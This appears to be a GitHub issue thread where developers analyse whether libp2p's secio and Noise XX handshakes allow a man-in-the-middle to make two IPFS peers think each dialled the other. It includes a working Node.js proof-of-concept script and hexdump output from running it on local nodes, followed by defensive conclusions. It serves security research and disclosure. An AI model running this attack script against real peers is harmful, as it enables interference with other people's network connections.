Open dominictarr opened 4 years ago
UPDATE: I'm fairly sure that secio is vulnerable to this. it's a very symmetric protocol. Each peer sends an identical shaped message {random, pubkey, ...}
then sends {localEphemeralKey, sign({localRandom, remoteRandom, localEphemeralKey}, localPrivateKey)}
then they derive stream keys from that.
Each peer, whether they initiated the connection or received it does the same thing. So if M dails A and B, then just proxies A and B to each other, A thinks B called, and B thinks A called!
Whether this connection stays active and becomes peers, depends on the next layer of the protocol... to be confirmed, but I'm gonna guess it does. Based on my current understanding I think both peers would send IHAVE messages. More work to do to confirm here.
When two libp2p peers connect, they start by negotiating protocols using multistream this is in plaintext, so mallory can just connect to peers and request secio from both sides. in multistream you can also ask for a list of the protocols supported, so an attacker can easily scan the network and identify peers that support secio.
If A and B support secio
, but would prefer a stronger protocol, it doesn't matter, because M can control the multistream phase, so M can convince both A and B that the other only supports secio
.
libp2p also uses Noise protocol. Noise protocol is actually a "protocol framework" and supports 12 basic protocols, which all have different security properties. ipfs uses XX.
they describe it like this
XX:
-> e
<- e, ee, s, es
-> s, se
(which I find quite confusing)
Alice is on the left, sending to Bob with ->
and Bob is the reverse.
My preferred notation is named keys, capital for static key, lower case for ephemeral.
A is Alice long term key, a is Alice ephemeral key. A*b is scalarmult/dh. wether to use
the public key from A or b is implied because a peer won't know both.
what do es and se mean?
For "es": Calls MixKey(DH(e, rs)) if initiator, MixKey(DH(s, re)) if responder.
<-- es
means initiator emphemeral aB for Alice, or Ba for Bob. (does order matter? what's mixkey?)For "se": Calls MixKey(DH(s, re)) if initiator, MixKey(DH(e, rs)) if responder.
<- es
means initiator static, A*b
Alice: -> a
Bob: <- b, a*b, B, a*B
Alice: -> A, A*b
could we still make this work with Mallory? unlike secio
.
Mallory: ->m (to Alice)
Mallory: ->m (to Bob)
neither alice or bob have any idea who they are talking to yet but they are sending their keys.
Bob: <- b, b*m, B, m*B (to Mallory)
Alice: <- a, a*m, A, m*A (to Mallory)
can Mallory then create a valid client response packet for both sides? lets find out!
Mallory: -> B, B*a (to Alice) XXX
Mallory: -> A, A*b (to Bob) XXX
this fails because M doesn't know a.private or b.private so they can't generate Ab or Ba.
I also considered M opening a separate connection, and then sending a to B, but Bob will use a new ephemeral connection on this side.
Other handshake patterns within the Noise protocol family would be vulnerable such as NN and KK, but luckily libp2p doesn't use these.
Note that secio is actively in the deprecation path, to be replaced by noise/tls.
so mallory can just connect to peers and request secio from both sides.
In practice this won't work as both peers will end up in "server" role, and unable to complete the ~handshake~ connection.
Also of note, the forthcoming v2.0 of multistream, which is backwards incompatible, will jump directly to the crypto handshake; see https://github.com/libp2p/specs/pull/227 for a wip spec.
@vyzo secio is so symmetric that the handshake still works with two servers.
attack code:
var crypto = require('crypto')
var hexpp = require('hexpp')
var net = require('net')
var Alice = net.connect(+process.argv[2])
var Bob = net.connect(+process.argv[3])
function attack (a, b, name) {
var C = 0
//send fake multistream negioation, asking for secio
a.write('\x13/multistream/1.0.0\n')
a.write('\x0d/secio/1.0.0\n')
a.on('data', function (data) {
console.error('Packet:',++C, name)
if(C == 1) {
console.error(hexpp(data.slice(1+0x13+1+0xd)))
//the packet will include a secio header.
//cut that off, and pass the rest to the other stream.
b.write(data.slice(1+0x13+1+0xd))
//then pipe the this connection to the other one.
a.pipe(b)
}
else
console.error(hexpp(data))
})
}
attack(Alice, Bob, 'Alice')
attack(Bob, Alice, 'Bob')
connect to two peers.
I configured them to use 4001 and 4003 ports
and ran the second one with IPFS_PATH=~/.ipfs2 ipfs
which loads from a different repo. you also need to disable mdns
in the config,
so that the peers don't connect to each other on their own.
output looks like:
node attack.js 4001 4003
Packet: 1 Alice
00000000 00 00 01 7c 0a 10 4b f4 26 29 25 2c db 3f 07 1b |...|..K.&)%,.?..|
00000010 a5 70 89 06 af 62 12 ab 02 08 00 12 a6 02 30 82 |.p...b........0.|
00000020 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 |."0...*.H.......|
00000030 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 b3 |......0.........|
00000040 ea 1d 16 ca 04 d6 5c d9 63 1a b8 6c 2b 2a 75 46 |......\.c..l+*uF|
00000050 4f 4f ce 8d a5 c5 b0 4b 03 cd 1a 02 c9 dd a4 7a |OO.....K.......z|
00000060 3c da c5 ad ce a6 0f 29 01 f8 7a 9a 8e d3 78 e6 |<......)..z...x.|
00000070 53 d0 01 ec 6e 4f 6b 12 9f 26 0e 96 02 7b 18 6f |S...nOk..&...{.o|
00000080 ca 56 70 36 16 ec ea 74 fc 1a dc 83 e7 74 37 e1 |.Vp6...t.....t7.|
00000090 bc d7 f9 0e 28 d2 2a 3f d3 e9 eb bc 84 5b d5 16 |....(.*?.....[..|
000000a0 68 d9 35 8a b5 36 73 4d e7 e8 93 35 1a 0f b8 76 |h.5..6sM...5...v|
000000b0 8a 45 c7 c3 01 f6 41 ee 60 dc d3 9a a7 4c 3b 57 |.E....A.`....L;W|
000000c0 f8 db b0 df f2 f3 3c 67 3e 25 af 5d 75 3f 4b 26 |......<g>%.]u?K&|
000000d0 10 d0 af b6 dc b4 d0 98 fb 2d 11 23 92 8b 90 65 |.........-.#...e|
000000e0 98 01 37 57 83 eb 79 15 27 46 62 57 eb 13 c0 5e |..7W..y.'FbW...^|
000000f0 ec 3d 5e 06 5c ad 72 f8 2b 23 c5 c8 9c cc 22 e6 |.=^.\.r.+#....".|
00000100 33 8b b6 78 50 5f ed 27 dd a4 59 f4 2c d5 5c 39 |3..xP_.'..Y.,.\9|
00000110 2f f0 6e 80 6b 5e 30 08 bc e5 f7 58 62 2f 21 a9 |/.n.k^0....Xb/!.|
00000120 a1 6f 03 e4 b9 e9 22 44 a8 9a 2c cd 4e d1 d9 01 |.o...."D..,.N...|
00000130 33 49 af 54 60 f5 c5 3b 31 3a 7b 00 4b 9f 27 02 |3I.T`..;1:{.K.'.|
00000140 03 01 00 01 1a 11 50 2d 32 35 36 2c 50 2d 33 38 |......P-256,P-38|
00000150 34 2c 50 2d 35 32 31 22 18 41 45 53 2d 32 35 36 |4,P-521".AES-256|
00000160 2c 41 45 53 2d 31 32 38 2c 42 6c 6f 77 66 69 73 |,AES-128,Blowfis|
00000170 68 2a 0d 53 48 41 32 35 36 2c 53 48 41 35 31 32 |h*.SHA256,SHA512|
Packet: 1 Bob
00000000 00 00 01 7c 0a 10 5b 54 4f 78 34 2a b7 48 8b 90 |...|..[TOx4*.H..|
00000010 b9 95 5a 4f ef c3 12 ab 02 08 00 12 a6 02 30 82 |..ZO..........0.|
00000020 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 |."0...*.H.......|
00000030 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 d3 |......0.........|
00000040 f4 0f da 22 f7 5c f3 b0 38 ad 58 c4 54 46 03 ed |...".\..8.X.TF..|
00000050 05 06 eb 6e d2 6b 43 ed a6 8f f7 14 48 95 e5 57 |...n.kC.....H..W|
00000060 56 2b 6d 3a fb e4 3a e3 95 25 8b ce e6 63 5c 79 |V+m:..:..%...c\y|
00000070 e2 c8 4c 39 ce d7 0e ff c4 0f 7e 62 d6 b5 91 2c |..L9......~b...,|
00000080 de e7 54 1e d6 a9 27 b0 80 a2 54 a4 65 db c4 f6 |..T...'...T.e...|
00000090 b0 db 4a 2c 4c e0 b9 77 2c 35 1e ef d6 cd 68 79 |..J,L..w,5....hy|
000000a0 6b 76 4a 54 b5 a9 c5 d6 16 84 38 08 04 cb ff ba |kvJT......8.....|
000000b0 98 b6 e4 e6 b3 7c 84 50 a6 ae c0 87 88 cd b3 93 |.....|.P........|
000000c0 13 06 01 9b f7 a8 9f e8 7e c6 82 2b be 62 4a 40 |........~..+.bJ@|
000000d0 60 20 60 d1 7f a3 83 a5 8a 56 b6 e3 a2 00 a4 15 |` `......V......|
000000e0 4d 37 6c 5a 7a e4 b4 60 72 62 d0 61 31 52 c6 bc |M7lZz..`rb.a1R..|
000000f0 74 73 7e 43 ce 95 ff 21 70 bd c8 51 b5 fa c8 45 |ts~C...!p..Q...E|
00000100 ae d0 a7 7a 65 c3 68 db b3 78 05 5d ef 2c 87 d6 |...ze.h..x.].,..|
00000110 e3 07 94 b9 e2 86 81 98 46 cd be 28 1e 71 d0 8f |........F..(.q..|
00000120 06 b9 8d 57 fe ee e4 57 56 d3 ff 3d 8b d5 60 59 |...W...WV..=..`Y|
00000130 ed 36 6e 30 2c 2d 58 99 b5 fb 53 ee 9f 56 dd 02 |.6n0,-X...S..V..|
00000140 03 01 00 01 1a 11 50 2d 32 35 36 2c 50 2d 33 38 |......P-256,P-38|
00000150 34 2c 50 2d 35 32 31 22 18 41 45 53 2d 32 35 36 |4,P-521".AES-256|
00000160 2c 41 45 53 2d 31 32 38 2c 42 6c 6f 77 66 69 73 |,AES-128,Blowfis|
00000170 68 2a 0d 53 48 41 32 35 36 2c 53 48 41 35 31 32 |h*.SHA256,SHA512|
Packet: 2 Bob
00000000 00 00 01 46 0a 41 04 c2 22 37 f6 bb d4 0d 43 21 |...F.A.."7....C!|
00000010 e6 e3 14 d3 b5 90 69 c9 77 fc 57 1f 72 7b 6c 61 |......i.w.W.r{la|
00000020 78 5b d3 f3 23 e1 0d 55 e1 b4 2c 6f e9 db 53 e1 |x[..#..U..,o..S.|
00000030 32 5a a2 29 18 5d 00 f5 6f 8a 0c f6 da aa d1 60 |2Z.).]..o......`|
00000040 2b 29 70 76 26 dd be 12 80 02 b3 80 4f 9f 70 b7 |+)pv&.......O.p.|
00000050 4c c8 42 9e 09 28 eb b4 96 83 8b 35 07 6c ca cb |L.B..(.....5.l..|
00000060 3a 50 86 2e 91 b3 f4 9d 24 01 0a aa 60 26 49 a4 |:P......$...`&I.|
00000070 7f 69 5c 82 44 13 35 ff c6 91 0c 84 03 53 70 02 |.i\.D.5......Sp.|
00000080 32 c2 a3 6f ee b5 52 c3 ff d5 04 7d cc 52 83 cd |2..o..R....}.R..|
00000090 e7 48 e7 9a 9c 07 dc 73 95 eb 88 d4 b7 ea a0 25 |.H.....s.......%|
000000a0 bb 17 f2 f4 c7 8b 7b 91 f5 9f b9 bb 3f 56 55 3b |......{.....?VU;|
000000b0 83 4d 12 66 b8 25 a1 0c c7 9f b4 a7 af 89 a2 bd |.M.f.%..........|
000000c0 5f 58 14 33 f4 a4 9b f1 0c a8 ca 0a e8 fa 7d 11 |_X.3..........}.|
000000d0 a4 60 17 c7 ef f9 70 2d d6 ef af e0 10 a0 8b 80 |.`....p-........|
000000e0 1e cf c8 9f bc ff 34 31 4d 72 11 0d 8b 3d b9 80 |......41Mr...=..|
000000f0 af 53 4b a4 61 77 f2 09 2a ca c5 10 f3 62 92 23 |.SK.aw..*....b.#|
00000100 41 3e d7 5e a1 8b 65 bd b3 c8 a0 be 4a a5 12 40 |A>.^..e.....J..@|
00000110 76 d6 d3 0f 62 ee 69 35 b9 c7 84 34 4e 01 4d 9a |v...b.i5...4N.M.|
00000120 8b 0b 2a 89 9c f0 c5 66 6e 92 8d b2 d8 e8 c4 38 |..*....fn......8|
00000130 8d d6 35 b6 7a 6b 75 d7 6d d6 b4 0b 0c d8 5c 0f |..5.zku.m.....\.|
00000140 d6 af d4 19 5e 57 ea eb 0c fc |....^W....|
Packet: 2 Alice
00000000 00 00 01 46 0a 41 04 f0 9c 21 01 30 6f cb 7f 82 |...F.A...!.0o...|
00000010 0a 2b fc 50 fb 97 91 22 7e 5f 0d 18 0c d7 22 7b |.+.P..."~_...."{|
00000020 4d cf 15 98 be 07 f7 ef 04 23 68 e7 93 1f e0 03 |M........#h.....|
00000030 59 04 6a 28 a8 71 2e 94 f8 d6 d8 75 0d 5e 00 30 |Y.j(.q.....u.^.0|
00000040 dc ee 6b 95 85 3c a1 12 80 02 66 87 46 2b 55 66 |..k..<....f.F+Uf|
00000050 24 ad 0e 54 6d c3 34 7a 35 88 6b 6d 54 2a b0 90 |$..Tm.4z5.kmT*..|
00000060 b1 13 fb 90 3e 7c a8 8e 51 4f 3e 44 d3 e2 d0 fd |....>|..QO>D....|
00000070 b0 03 e4 69 6c 0f 16 54 d5 6c 35 7b 70 4e f0 cc |...il..T.l5{pN..|
00000080 5a 28 2f 4d 55 4a de 4d ff 4c 36 63 99 c0 6d 0f |Z(/MUJ.M.L6c..m.|
00000090 5f 06 cc a8 2c 60 44 ae 25 47 28 9b 89 92 dd a2 |_...,`D.%G(.....|
000000a0 ab 39 39 b6 6a 3c 77 2a 6f 5a d1 42 33 3a 84 58 |.99.j<w*oZ.B3:.X|
000000b0 df ae 12 58 89 b0 15 ab 94 08 11 b1 aa 16 ab bf |...X............|
000000c0 d3 8a a2 6e 5a 78 83 54 dc d2 35 38 3a 0a 17 e5 |...nZx.T..58:...|
000000d0 e7 b9 2c a5 99 d5 61 3a f1 9c 36 f5 5f f9 7c 8f |..,...a:..6._.|.|
000000e0 67 1f f8 0a a0 68 6d 47 72 52 ee c4 e0 fe 3e 44 |g....hmGrR....>D|
000000f0 8c c1 cd 77 a8 bf df e9 3a 65 bc f5 48 6d 65 5a |...w....:e..HmeZ|
00000100 dd 5c 89 dc a5 39 5b 6e 0a fa 39 9a a3 ed 49 0b |.\...9[n..9...I.|
00000110 95 81 ef b2 d7 28 3f 8a 55 ea ff a6 d1 d4 0e fb |.....(?.U.......|
00000120 53 c0 e6 b5 27 1c 62 1b 72 7e f1 36 07 83 39 90 |S...'.b.r~.6..9.|
00000130 04 9d cc e4 64 dc b9 2e 21 cd b0 dd 0d ad c4 e9 |....d...!.......|
00000140 74 41 ec 05 58 34 a0 59 1e fa |tA..X4.Y..|
Packet: 3 Alice
00000000 00 00 00 30 a7 dd fb 34 4f 61 e6 18 4a 35 ae 77 |...0...4Oa..J5.w|
00000010 15 fb b3 09 85 f0 7c 1e 88 5e a0 19 79 28 60 ec |......|..^..y(`.|
00000020 87 18 dd 96 ce a9 39 ba 38 6f b5 d9 be 4d aa a3 |......9.8o...M..|
00000030 6f f6 e7 7c |o..||
Packet: 3 Bob
00000000 00 00 00 30 b2 0f 28 85 f2 6c 53 45 12 c5 b4 60 |...0..(..lSE...`|
00000010 8d 41 55 db bf 98 33 86 a2 fb 38 e4 87 af 6e fc |.AU...3...8...n.|
00000020 3f 18 d4 91 42 2d 78 10 c8 25 7d 95 6c 72 8e 4f |?...B-x..%}.lr.O|
00000030 59 3e 4a 9d 00 00 00 34 65 d4 d6 c8 a2 83 46 48 |Y>J....4e.....FH|
00000040 9a ec 5b 32 5d c1 b4 4a bf df 2b 41 ed f5 a1 a6 |..[2]..J..+A....|
00000050 c1 6d cc c8 ae 78 a4 a6 82 72 9c b1 56 48 48 9d |.m...x...r..VHH.|
00000060 6b 1e 0b f5 8c e0 a9 df 49 10 b0 7a |k.......I..z|
Packet: 4 Alice
00000000 00 00 00 34 35 39 f9 16 8a 57 fd 62 3e 58 fc 7f |...459...W.b>X..|
00000010 c7 c0 bf ce ca 00 5c 02 43 41 5d f5 84 7e 6a 2a |......\.CA]..~j*|
00000020 da ce ce e1 c2 72 b2 91 c5 f5 d7 bf 76 f1 1a c4 |.....r......v...|
00000030 8f 52 45 a9 97 d7 e2 9d |.RE.....|
and then the connection stays open, but they don't send anything. I presume this means the connection is valid...
if I modify the attack to flip a random bit in packet 2 3 or 4 then the connection drops immediately. this would certainly cause an authentication failure.
however! nothing new appears in the swarm peers
output. So as @vyzo suggests, it's getting to the next layer, but then gets stuck at the transport-upgrader which expects the client to make the first action, so if you have two servers connected then it just doesn't do anything.
note: takeaway: defence against this depends on two things: a) don't use crypto protocols that are too symmetrical. b) don't use application protocols where the server acts first.
ipfs does the second already, but it should probably be explicitly written in the spec.
I think things might be getting stuck in identify
, because the multiplexers both think they are servers and fail to open the new stream.
This one is a long shot, but would it be possible to have an attack initiated MITM? The planned remediated (signed peer records) for #2 depends on the idea that when Alice tries to connect to Bob, she connects only to the correct address given in a peer record signed by Bob. If Alice is running out of date, or modified, or incorrect software, and this causes her to connect via non-signed records then the fake colocation attack can still be used againts both Bob and Alice.
This means that Bob's security depends on Alice doing the right thing. Okay, maybe if Alice is penalized for running wrong software, that's okay, at least no one else will think that Bob is colocated.
But here is the idea: what if M could connect to A and B simultaniously, but somehow manipulate the handshake, so that A and B both thought they had received an incoming connection.
Using this issue to collect information on weather this is feasible.